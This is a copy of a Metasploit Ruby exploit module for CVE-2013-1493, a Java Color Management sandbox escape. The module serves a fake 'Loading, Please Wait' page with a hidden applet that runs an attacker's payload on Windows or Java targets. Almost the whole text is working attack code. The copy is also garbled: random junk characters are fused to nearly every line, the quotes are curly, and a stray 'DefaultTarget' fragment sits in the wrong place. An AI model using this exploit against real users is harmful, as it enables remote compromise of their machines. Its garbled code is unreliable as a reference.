##
: v. F$ O! m+ q- S* U$ Z
- I) n9 i5 g5 C8 C& `2 F5 ^% H# This file is part of the Metasploit Framework and may be subject to' h) b( g% n1 \
# redistribution and commercial restrictions. Please see the Metasploit6 {1 T e& }5 B% t
# web site for more information on licensing and terms of use.0 C& E5 s# z: h/ O) c; B8 B+ U
# http://metasploit.com/
9 A; Y8 {6 ^6 Y G2 t##
3 I% T2 \4 E4 g3 n! s6 Srequire ‘msf/core’
2 S, g8 C- I! B7 I2 H" b2 i' Irequire ‘rex’
, t& D' k5 V( s: c" ]/ O) P0 Yclass Metasploit3 < Msf::Exploit::Remote
7 q# ]; i' Y; G8 E. ?Rank = NormalRanking, P: _" _" c3 ?( F/ \
include Msf::Exploit::Remote::HttpServer::HTML m: S4 W# u! N+ r; ]
include Msf::Exploit::EXE
: r* {% J9 [( b8 i0 |2 @$ @! Rinclude Msf::Exploit::Remote::BrowserAutopwn! V I& p$ q9 Z2 S
autopwn_info({ :javascript => false })0 x; P G; A. A1 v$ b
def initialize( info = {} ). `3 ?: i, m5 E M
super( update_info( info,5 |4 z4 r5 E F. r: U: `
‘Name’ => ‘Java CMM Remote Code Execution’,
; q5 O. n- s9 X* Z/ o) D) b‘Description’ => %q{( {' t; Q1 W8 s$ u
This module abuses the Color Management classes from a Java Applet to run
; m& q2 a! u$ b2 ?% |7 Qarbitrary Java code outside of the sandbox as exploited in the wild in February
1 {+ q4 X$ }3 iand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41& P5 C6 N- `" P. M7 l8 J3 ~
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1- A8 N: n8 M, |& F7 h
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java: G9 N8 z! C) t+ p
warning in order to run the malicious applet.
1 r$ O0 C: Z5 r9 ~4 D* a. J},
$ _" Q* o+ P& k' r/ S7 t$ T‘License’ => MSF_LICENSE,
( N/ E# k. x+ _: d, v+ K" z! q, j‘Author’ =>
* `- L6 ?) v+ ?+ a'Unknown', # Vulnerability discovery and Exploit
3 M' s( n5 ~8 N4 I' K% ^+ z'juan vazquez' # Metasploit module (just ported the published exploit)
: a( Q& A k) D],- U. t. y/ p6 O2 N" V
‘References’ =>1 G e: X. U& H/ |( K$ c% t" f9 Y ^
[
2 x7 D1 c+ g; r0 r; m. b[ 'CVE', '2013-1493' ],
% k! F9 ?1 Q5 i1 `[ 'OSVDB', '90737' ],% |. _) a+ V0 Q) i
[ 'BID', '58238' ],
' A& O) S1 ~- T% O: o p6 k[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
- K4 v6 D2 v2 ~/ V" O* c[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],; E8 {% b# m) x4 G9 c/ h" Y! v
[ 'URL', 'http://pastie.org/pastes/6581034' ]
- h" V- c/ r0 L],; n1 M5 B- Y& z' A @+ }# i3 I4 I
‘Platform’ => [ 'win', 'java' ],
& R( `) O9 s. K/ [‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },4 B/ `2 {! Q3 K* e
‘Targets’ =>
/ }5 Q$ q$ ]( T( `+ _. i[+ y8 ]; V% c) h; R/ Z, a2 z3 R
[ 'Generic (Java Payload)',
/ }$ ?! o! W% {, q! |7 B$ j{
$ V2 q5 G6 l2 J ^7 U& v'Platform' => 'java',
1 b3 O( P/ v7 {/ z3 O'Arch' => ARCH_JAVA
* F2 o. }; q& A- M' [2 ]}
1 q+ @4 Z% P' i- {],
& Z6 |3 T6 ~0 { T. t; e[ 'Windows x86 (Native Payload)',9 P; K9 ~, }. | P x5 m
{
8 _% X" r% ^: L5 A'Platform' => 'win',
. G9 \3 _+ f v7 T) F# @6 `'Arch' => ARCH_X868 S3 l1 N' K6 |; |0 f
}' M. B* L# D P0 R
]
7 I# j5 `7 m* l2 F: |! E0 b],
; S& y5 Q" E# v8 D- `) _ `‘‘DisclosureDate’ => ‘Mar 01 2013′
5 `7 c- p9 T5 U6 y7 v0 f4 ]))
8 Z4 y+ G7 x3 Q4 Q: Lend! y9 K7 ]6 J& R% `& c6 T
def setup
' x( o- A; L/ fpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
+ R& ?( Z/ j* R@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
+ _! B9 b" { _- Z! ppath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)7 S: W2 r) E) A+ G- D& N8 Q2 b
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }: Y1 f) Y" W# w2 U5 F, A; `
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”): P; o+ ?, q) A v
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
" P# N' b% w& |1 k0 k' Upath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)1 C* u/ q/ c: x4 i" L8 \( W: u
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }3 m7 z& x( V3 N4 K+ ^" v
@init_class_name = rand_text_alpha(“Init”.length)
! }0 R' L( e9 q+ G% i/ [@init_class.gsub!(“Init”, @init_class_name)5 \6 A' g7 l2 x) |- f7 t
super0 T" c% h% G% Y' M( g$ Z
end- s% {- g$ |# a9 }+ B8 i; E, y
def on_request_uri(cli, request)7 q1 s7 J9 A1 h: e3 g. p+ a
print_status(“handling request for #{request.uri}”)
+ K) r9 S8 x1 I0 ^+ I3 ncase request.uri2 R; Y7 k6 V+ V/ J- F" c& i
when /\.jar$/i4 ^" Z) v% j7 ?9 ^, P
jar = payload.encoded_jar: G. \/ ~- P6 c7 S! N
jar.add_file(“#{@init_class_name}.class”, @init_class)% i5 `* z9 R2 Z. W2 c! Q& p x
jar.add_file(“Leak.class”, @leak_class)# \- Y5 a; G3 r0 L5 I: D5 V8 Y5 V" V
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
- R; [: S% Q, s7 A0 }" Qjar.add_file(“MyColorSpace.class”, @color_space_class)
5 I- \. {- l7 |) L' hDefaultTarget’ => 1,- u- x# m4 S: s( b
metasploit_str = rand_text_alpha(“metasploit”.length)1 E2 z( y3 _2 B3 b9 c
payload_str = rand_text_alpha(“payload”.length)
3 d% v1 R6 z+ r2 j F& }4 kjar.entries.each { |entry|1 V1 w4 K% q3 F+ b
entry.name.gsub!(“metasploit”, metasploit_str); s$ {' W2 g2 o6 q
entry.name.gsub!(“Payload”, payload_str)
& V* p W1 ?+ {* ]" e( jentry.data = entry.data.gsub(“metasploit”, metasploit_str)
1 e6 Y c9 T5 Z# Nentry.data = entry.data.gsub(“Payload”, payload_str)
; ~ T6 e" t" e* {- V0 e}
- M1 ?- i: m2 W9 \8 {- Sjar.build_manifest4 c' y% S2 T: ?. _ p6 v& N3 p7 P
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })( c2 j, h( |# g9 A+ W& Y- }% U, J
when /\/$/
9 X9 P/ {( ?# i- {; @3 `payload = regenerate_payload(cli)
" p! K/ c" {. F* X5 Zif not payload
2 ~& R5 c( i4 `" s+ A, ?5 y1 _: [, ^print_error(“Failed to generate the payload.”)
}* L4 A1 z& B9 p, gsend_not_found(cli)- w, S1 @" }; W8 u. i
return H& c9 o+ _+ N1 R7 F5 r) ?$ H
end; J8 R7 S' U! [ c: q' o" @' J- y
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })4 z9 `# y; @6 g" i" g
else1 u% K# u- ~ b- G
send_redirect(cli, get_resource() + ‘/’, ”)
% i1 E8 |. ?; }: T$ Q4 ~end
% V+ l' E8 ]& Q7 z4 Eend6 T$ ~4 R% _0 J" }5 Y3 s
def generate_html
- v; D& d4 M# w4 Y) m |html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
7 \9 Q5 Z7 |" y9 |html += %Q|<body><center><p>Loading, Please Wait…</p></center>|0 m9 Z" ?% m1 J8 |# Y. c
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
- k5 W. Z7 v, A2 m8 T% H0 i4 ]( uhtml += %Q|</applet></body></html>|& I S1 U# K$ X; R+ p `
return html6 H; S3 ^& J8 _! K, O% p
end$ d* y) \* ?4 H* O( g# E5 G
end4 [2 p! q0 z/ z- n4 e% B
end
% a* _# Y$ }( E6 m3 A% Y |